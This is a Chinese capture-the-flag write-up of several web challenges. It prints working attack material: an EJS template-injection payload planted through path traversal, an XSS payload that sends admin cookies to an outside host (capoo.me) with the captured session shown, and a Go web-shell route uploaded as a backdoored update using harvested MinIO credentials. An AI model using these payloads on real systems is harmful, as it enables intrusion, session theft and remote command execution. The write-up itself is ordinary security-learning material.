week1-WEB
Level 24 Pacman
一个黄豆吃金币游戏,利用js来实现
找到index.js 在最后有:
var _score = _SCORE + 0x32 * Math.max(_LIFE - 1, 0x0);
if (_score > 0x270f) {
console.log('here is your gift:aGFldTRlcGNhXzR0cmdte19yX2Ftbm1zZX0=');
} else {
console.log('here is your gift:aGFlcGFpZW1rc3ByZXRnbXtydGNfYWVfZWZjfQ==');
}
0x270f 就是9999 符合题目判断
这串base64是haeu4epca_4trgm{_r_amnmse} 长得像栅栏密码,栅栏数为2 解密 hgame{u_4re_pacman_m4ster}
Level 47 BandBomb
表面一看是个文件上传,但实际上是模板文件包含
app.set('view engine', 'ejs');
const storage = multer.diskStorage({
destination: (req, file, cb) => {
const uploadDir = 'uploads'; //上传进来的文件会被存储到/uploads
if (!fs.existsSync(uploadDir)) {
fs.mkdirSync(uploadDir);
}
cb(null, uploadDir);
},
filename: (req, file, cb) => {
cb(null, file.originalname);
}
});
app.get('/', (req, res) => {
const uploadsDir = path.join(__dirname, 'uploads');
if (!fs.existsSync(uploadsDir)) {
fs.mkdirSync(uploadsDir);
}
fs.readdir(uploadsDir, (err, files) => {
if (err) {
return res.status(500).render('mortis', { files: [] });
}
res.render('mortis', { files: files }); //有大问题,在这里会渲染 mortis 文件
});
});
app.post('/upload', (req, res) => { //文件上传点
upload.single('file')(req, res, (err) => {
if (err) {
return res.status(400).json({ error: err.message });
}
if (!req.file) {
return res.status(400).json({ error: '没有选择文件' });
}
res.json({
message: '文件上传成功',
filename: req.file.filename
});
});
});
app.post('/rename', (req, res) => { //重命名函数,这里没有过滤文件名称,并且存在目录穿越
const { oldName, newName } = req.body;
const oldPath = path.join(__dirname, 'uploads', oldName);
const newPath = path.join(__dirname, 'uploads', newName);
if (!oldName || !newName) {
return res.status(400).json({ error: ' ' });
}
fs.rename(oldPath, newPath, (err) => {
if (err) {
return res.status(500).json({ error: ' ' + err.message });
}
res.json({ message: ' ' });
});
});
app.listen(port, () => {
console.log(`服务器运行在 http://localhost:${port}`);
});
所以我们可以构造一个恶意js脚本上传,再利用刚才的重命名函数将js脚本修改
<!DOCTYPE html>
<html lang="en">
<head>
</head>
<body>
<div>
<%= process.mainModule.require('child_process').execSync("env") %>
</div>
</body>
</html>
{
"oldName":"fuck.js",
"newName":"../views/mortis.ejs"
}
Level 69 MysteryMessageBoard
一个留言板 先试着爆破一下登录

爆破出来shallot 888888

排除了SSTI与sql注入的可能,那么大概率是XSS了
后台扫描,发现存在一个/admin

其中反复提到admin来“看”,那么大概率是访问/admin 会触发XSS注入
构造远程下载admin session的payload
<script>
document.write('<img src="http://capoo.me:65000/?'+document.cookie+'">');
</script>

本地监听获得session
capoo.me#+::root@KR:~# nc -lvp 65000
Listening on 0.0.0.0 65000
Connection received on 183.129.147.44 41834
GET /?session=MTc2MTczOTI2MHxEWDhFQVFMX2dBQUJFQUVRQUFBbl80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQWNBQldGa2JXbHV8sKNapK2ukfokQlj19y2wuo75E3j3wUIT4c5CMLtPCWc= HTTP/1.1
Host: capoo.me:65000
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.6834.111 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://127.0.0.1:8888/
Accept-Encoding: gzip, deflate

获得flag
Level 25 双面人派对

下载下来一个附件,IDA打开发现了UPX的痕迹,使用exeinfo pe 也能印证这一点,标准的UPX壳 直接脱壳

在wsl环境下运行这个./main 发现其一直试图向127.0.0.1:9000发送GET请求,于是打开010进行爆搜查找相关线索


minio:
endpoint: "127.0.0.1:9000"
access_key: "minio_admin"
secret_key: "JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs="
bucket: "prodbucket"
key: "update"
这是个对象存储服务的API信息,之前题目里面还有个端口,想必就是这个了
按照网上的教程配置好mc
./mc alias set fuck https://hgame.vidar.club:41126 minio_admin JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs=
将文件下载到本地,获取源码

func program(state overseer.State) {
g := gin.Default()
// g.StaticFS("/", gin.Dir(".", true))
g.GET("/shell", func(c *gin.Context) {
cmd, _ := c.GetQuery("cmd")
out, err := exec.Command("bash", "-c", cmd).CombinedOutput()
if err != nil {
c.String(500, err.Error())
return
}
c.String(200, string(out))
})
g.Run(":8080")
}
新增getshell路由函数,随后编译再次上传

随后就可以获取flag了

正文完